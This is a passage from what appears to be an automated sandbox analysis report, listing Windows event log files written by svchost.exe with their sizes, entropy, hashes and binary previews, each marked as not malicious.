Preview:	ElfChnk......................................%...&.........................................................................p4..................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................................'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432260898567245
Encrypted:	false
SSDEEP:	384:hhZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+lD:hWXSYieD+tvgzmMvG5m2a0
MD5:	9BCAC131A0E1046D07A1126509C0163B
SHA1:	668C02B1F04155FC7C86DA0FD801AB8512D8E647
SHA-256:	A069A8295BD4D219C7E117748EC00A8CE85C3AD2F84991B77311E865DA012C90
SHA-512:	11CECFB1CC6FB52B75BBEADCB99337634B61B1D4B78514905846BC0D6F57704EFDD01E59177C0A843FB8346DF2AEF6FF00315D1597E526F4408368A0834B4E90
Malicious:	false
Preview:	ElfChnk......................................$...&............................................................................W................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...........................................................................................................&...........**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.136765029033778
Encrypted:	false
SSDEEP:	384:YhqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28E:YbCyhLfISid
MD5:	D8A9364C2A73C13BD5856B2098B148FE
SHA1:	246D2BD0425327769639DDD2E3EAB16EAAFC47BD
SHA-256:	3BC0F301126D61B2589EF8EA5BFD37E99521C28A16A2448614DA5D2008383417
SHA-512:	C1E00E7A552DAE3757379821AB874FFBB73498B001266EF5A832AB77B660E700C581A10A66B7EA3DB617A6383DF8AC808CEFA6AA9D510973237040AFEE4A734E
Malicious:	false
Preview:	ElfChnk.........L...............L...........P........Q......................................................................g..%................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n............................................................................v..........**..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.299614116317659
Encrypted:	false
SSDEEP:	768:WcMhFBuyKskZljdoKXjtT/r18rQXn8iLqa3:PMhFBuV
MD5:	7BBCE1A6E856D904039BACFFA90C55A7
SHA1:	C3FFB49873328C3A17FFF125BD311AB4A864DBB9
SHA-256:	8F96E6519D5B0F66F01D26CF62B9AB7C5D35353FE6BA0C55AA6A5D935AF5B4D0
SHA-512:	C74AF384495FE23ECBE2AE9410966CE14A886E80DB90DD68751EBBC470874A49A20E978E0D2FAE28942F534F24F0ABF70EED1390F102E70BFB1B5C1903C4F47B
Malicious:	false
Preview:	ElfChnk.........L...............L.........................................................................................~..................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A..........................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.896745651566555
Encrypted:	false
SSDEEP:	768:nre2Q+uYvAzBCBao/F6Cf2SEqEhwaK41HZaWRSgELNnLi:WHf
MD5:	396196233DA144BC9B1AC36AEBA3FA42
SHA1:	B5800B9F323B93BCBCFA9D2F727A9975CACD6337
SHA-256:	4A268F50173502D662F85D13944A1249B58912BCD3BC9FA6B419CB1E561D2969
SHA-512:	A0C83A765A92F558C0BBD72D418D6C8A2AB26F90A71DA6B5342C1AC98E3BB3AC0A57E6DBA86AB7334276A0058863364C36D8205EEBEAF1B29B411860DA528F61
Malicious:	false
Preview:	ElfChnk.v.......x.......v.......x...........P...`...d........................................................................X.e........................................V...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..@...v.......<..:..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.924636023538134
Encrypted:	false
SSDEEP:	384:wh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDx:wMAP1Qa5AgfQQn
MD5:	8EC9027553BC6E0AA226CBE3AA9AEC1A
SHA1:	3E261D8E27902EB9EEF0333F5716E2298FE8FA55
SHA-256:	A2261A47F8E8D6F1E200968E7080400155424C4DD140F281C48FEACD0017A010
SHA-512:	859C59B36EFF5DCEBD329ABED2952EE5ECE6B4D5A8918C341878E77ABEC82C6B2CA0F7392E5DF79C30A004ECF82664DBA87381739F55FC7D6547AC84DDA1BA65
Malicious:	false
Preview:	ElfChnk.....................................0_..0b.............................................................................o................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&..............;....................R..........**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4435307576303655
Encrypted:	false
SSDEEP:	384:3hBE0EGEq0EJE9EdEmE0S4E9/8OaExy4vEeE0TEVzEfEm/8E3VEQEoEwDEfEtEMZ:35SWOQRjEHgl4iYlz
MD5:	A8DA15633D80829F32A3E0CD50CFD995
SHA1:	CD4DD833ED62AD6DEE8A4B109A0356075CCDB8EC
SHA-256:	30BF357C2ADCC24F1A1A48EA85302CB33B8993899685FFFFDC13CD2E4A15C05F
SHA-512:	C7D808E257302F4D08623CE5C5A8D622CE946ADAA2543EE97A1AD3759CF11F93FAAFC8D786CDD4B32A1CBC1E97D5472A30B2A1EBADD5014F7F11BF2B92F1EA8B
Malicious:	false
Preview:	ElfChnk.s...............s...................@.......N...........................................................................................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F....................@...............>... ..E....................$...........(...&.......".......................F...........D...............Q......**......s....................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.3316790418382953
Encrypted:	false
SSDEEP:	384:ahYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3Kl/:a1T4hy3V3
MD5:	F7D62B056AB8FE4B83092B05915DD92A
SHA1:	7310B87EC20943EE7854A907C4F807D04D148ABF
SHA-256:	337F9831E9B639FC1523A9EBBDBA186A13D82AF929262CCA31F9FE0677B18E4A
SHA-512:	23FA4D0C18EFC32B8D0A7E5472973DFE557BC793E1BA38468CF5760561700FC1F7965B5A231F76D277B49E5B5E381F8773ED88E6B472CFAC78D5332A495F33ED
Malicious:	false
Preview:	ElfChnk.........m...............m...........@.......r9{.....................................................................g..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../...........n...........**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4485744286205566
Encrypted:	false
SSDEEP:	384:GhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjDfi:GzSKEqsMuy645tZtPN
MD5:	4572B4ADCED1EA2335588876D2A4AF20
SHA1:	0F16E0FF89200599B7DB688563F2E6B656ECFD4B
SHA-256:	68B18DB8939820C2E1E49267F4DA6D5F9EEBECF40A43BE0DEE1643D96CD5FE4C
SHA-512:	6D9E98838FEE3DB11033784CA8A912608F7814D2353C14C839BC372CE4EBF0AC9D05984EA3FE0B153062BAE55CB850277100569B37ED1B798CCDCA1E7746AD57
Malicious:	false
Preview:	ElfChnk.........L...............L....................:.N....................................................................j...................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=....................................................................`..........**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1559400308203562
Encrypted:	false
SSDEEP:	384:BhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zZ:Bmw9g3Lf
MD5:	64B9990B5E7F3874310C63A28FF2269B
SHA1:	B1A4325EECAFB72D9AFF23F1759F866757699E9E
SHA-256:	3C9770DF816491A1C40167F1C53A46FB17122962B646A72F604ED3044A981DCC
SHA-512:	BC184A0543AC3022AC17527A5569CA2105E1A9B779B829A7B1FB3A72BD2B429797E1E09A229880E5803F38809A17D2FE019374D87EBC6658AB55DB837DF5C6A3
Malicious:	false
Preview:	ElfChnk.........6...............6...........(o...p...].O....................................................................\|.3.................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#....................................................................X..........**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.887574143139413
Encrypted:	false
SSDEEP:	384:BhoIRbiY8sITkAI6RdkbI4IfIixIWMIPIxIJI7IyIUIgIoqIuILI:BOnDB
MD5:	59A9F7EF42800364F6BF938C549BBD94
SHA1:	43FAC818EB3960E73963CFD78F1AE4DE6A3799D6
SHA-256:	E2BD020B97A6FB59EF57126B4DC72C56E7F457A06C7F911243C77BC0C1ACC206
SHA-512:	2A62CCA656E0761FF2C1F585207C03B19E9E827C80293C9A402C01A353D47774BC97A7A48CD136862131F18434DD29245D3A1E20E88A72AF45824ECAB6B26153
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....&......................................................................e.................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..x...K.....................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 2 chunks (no. 1 in use), next record no. 128, DIRTY
Category:	dropped
Size (bytes):	69080
Entropy (8bit):	4.509836825394857
Encrypted:	false
SSDEEP:	768:0iasQiasCPIEQ8QtnkVKRNlY20sMY3Dp13/n/ydIxm6g/ZSi+uQ/NujMAEWD4gmd:jp1
MD5:	BE0C5D25BB626D883F98D4C1951A5825
SHA1:	199C3B32DF1EA8B69FA0F4FA862D0CCA7D80809D
SHA-256:	8572A9054444D2AE18DBA1F3819B95C5A60F75D9A175B2B8E04B9D760F21B977
SHA-512:	D0CA6A867D330D12024832B3E586E2BF91D28626A3C4D2120886A27CBB9EF95916B8B9B7D5A1F66DE63EA6401F9622DDB7972E171D1600DF372FE40ECC1F53F3
Malicious:	false
Preview:	ElfFile.........................................................................................................................ElfChnk.~...............~...................`...X....{$.........................................................................................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..p...~........qV..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.6958150068016895
Encrypted:	false
SSDEEP:	384:2hKa5QnzLFN5gnta569gzIzyzja5MAKxphpKWQOPM52KX8oAa5oZa569QzIzyz63:2ePFNIR0XNtqd2O2dZKLfA4BwuZ0
MD5:	655E783F9FFCA3A359FA2F164B9ED9FF
SHA1:	AF96B574D8EDA42E8034D7B2D9AAFC1A24038686
SHA-256:	68E8D626600821B14F9F4C87F757084A98ACBFDBCD2A8A4BAE033D90ACE150DF
SHA-512:	7568B3279855A83D6B289227F8465997AA95904C05EAF4DC40AF4FA99E12521EF436E5E8F2F110311B3A0A132903DEC901CB1DA969DDA9654235594A30874D1D
Malicious:	false
Preview:	ElfChnk.....................................p...X....AL6................................................................................................................:...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................YM...........z..................................!/..........**..@...........\.g.6.........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9969363418868648
Encrypted:	false
SSDEEP:	384:Oh1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMGmMqb+MvhMIp:OeJWU
MD5:	F3F76FCFEA8151604EA805CB80B1FF45
SHA1:	53062346A40583E0ED706493B387818CF85A608A
SHA-256:	46BE32A18F777427FCB76E515EDD8612F22823F8D5F9C75FAF64DFBC9D810BC0
SHA-512:	DF7829C3655FC7F7AF8C6F82DF8F48C3842AB6AC99B32705AC232DDD1D7398A93B3C03BA8217D055702FB8881AC8FC5DECCEAB8E2ED23F8B73C7B2737DFD00C2
Malicious:	false
Preview:	ElfChnk......................................+..0-...i........................................................................z4........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&............................................................................................................%..........**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.231994720329579
Encrypted:	false
SSDEEP:	384:ehk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS16:eBjdjP0csCk+
MD5:	2418B580C396BF3D2B2E78EF78F65991
SHA1:	5AA4D8E6E8EC06232294A57762DCF70B6A4AEC46
SHA-256:	4FA9363ED99CF66AA2B887DB72C99F7E21B364AAFE0C169B5CEACEF72E971557
SHA-512:	650C05CE840801E047324A41E74F07718BC4503AD16860C4161B31027B2D480F0DD72B1EB936F08C3985DDAE151D7340D1C7DD09C61F957694A3A800F7923F4C
Malicious:	false
Preview:	ElfChnk.........................................p...$.._......................................................................5.................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1873921092092026
Encrypted:	false
SSDEEP:	384:s/hDIEQAGxIHIFIWHIft6IT/nIGIEI8pIftaIT/JIdIWIyIILIQIhI0vcI7IftqS:s/ZxGuTcrd
MD5:	83A5B8E61F30C79883730950AEA98A44
SHA1:	C8B71007E20DEF19873CA38E83E68BBF1D9FB1F2
SHA-256:	F23CEB96B97C63703797FC1BB2CC924CF89B31F562BE9ABD5D5A64E4D7D9035E
SHA-512:	06DF2A7C93BA3C8449C58D253771A7D36B13B8DED6C3E96F34B123D18F6FAA526519A8DF1B27696263452EBD65F8EB672A8F26708F88DE6D9C381D69F932EAD1
Malicious:	false
Preview:	ElfChnk.T...............T...................P...h...m......................................................................Q.;........................................>...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................1........................................<...............(..........**......T.......B..d..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8010759015442367
Encrypted:	false
SSDEEP:	384:Zmh6iIvcImIvITIQIoIoI3IEIMIoIBIjIIQIYIRIEMIO4I:ZmoxDJ
MD5:	697F5D7E812BBBA5F48BAEEE79161558
SHA1:	2BB9620AEAFE781DAD1250C78AE760F530C04FEF
SHA-256:	1F9630EFD18553522D80986F123499E9172D5D8949BD43F82D0964ED671CE516
SHA-512:	166A91F00C96D4B5DB8C75B843FCD2ED191CAF2D82CEB41138FD22663D481CB50BF38D5C522524C94033EE7CD3C303AFA60261F95900299C73E2E0277834C598
Malicious:	false
Preview:	ElfChnk.....................................X"...#..!.._.....................................................................8.Y............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...........................................................................................................^...........**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9976457275581723
Encrypted:	false
SSDEEP:	768:j4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH13N:p
MD5:	8B81799FB23EDB0DFBBE63CB0A6D0091
SHA1:	08F10769E5AC65A808F3229113875C18E68F02A2
SHA-256:	199F3107FA0F478BECC0D255CA70F74B63F048F6B43015C4BCEFC7DB07358609
SHA-512:	098626BC09ECABD19653ADFE82C5CC8A73C4CD1537C28E781484F6B676E837896C892B3E0691E5D469C1972A76B646456E14907280D1040181C1F973B9302E61
Malicious:	false
Preview:	ElfChnk.....................................(...8...&..........................................................................`................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ......................................................................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	70176
Entropy (8bit):	3.8939514906771358
Encrypted:	false
SSDEEP:	768:uVqutDBjV8k+u7eUtHPoVWWNHrWbGyYKQc90XR07SZRcZv76NcRUjGHzLKvc90X:1utDBjV8k+u7PtHPoVW
MD5:	75BDC1E4C679C0EC2D928005E0AD64F4
SHA1:	72FA9668F0DCEBA1619C352BAA88533C37BCCDD5
SHA-256:	9CA649D88D192305D96FB92A4998B0C24D3D22BC8F34A8E6526434C0348405EB
SHA-512:	0079C0CFD1F09ED44EFE15D5438079D7EB7101C912D79E3397465590970B73853D65D311E90EB9C947F073578FB7D55C5DBACBAAE2A9C28EBAD5B9709C4E85E5
Malicious:	false
Preview:	ElfChnk.................N.......T............... ...d&.......................................................................\.f................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................................a...........&...........**......N........l7.6.........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	196240
Entropy (8bit):	5.349645426647352
Encrypted:	false
SSDEEP:	1536:ZWp1WproWpsWpPv4wWp1WproWpsWpPv4wIb0welzWp3WpOLgmewWp1WproWpsWpF:cKJVcKJVZwboVKJVPA7YmIH9
MD5:	663E5A3851828DE2B7B20E14A1941A14
SHA1:	F79CAEB6B0870BEA5901AA6E531139381EA2D6A4
SHA-256:	EB22CADA7FFC601A29CB54AAACEAD8EF1314F07BF56C5062D0B97D403950BA14
SHA-512:	56817DC36FDDF31567A1C643E435393DD2027BD48FF8CA1A1EB5BAFB785C2CA4C28373A5A81A3D9F1E06F6193F7631C2F52A96A3EBD1C8A31C6D10BF4744C2AF
Malicious:	false
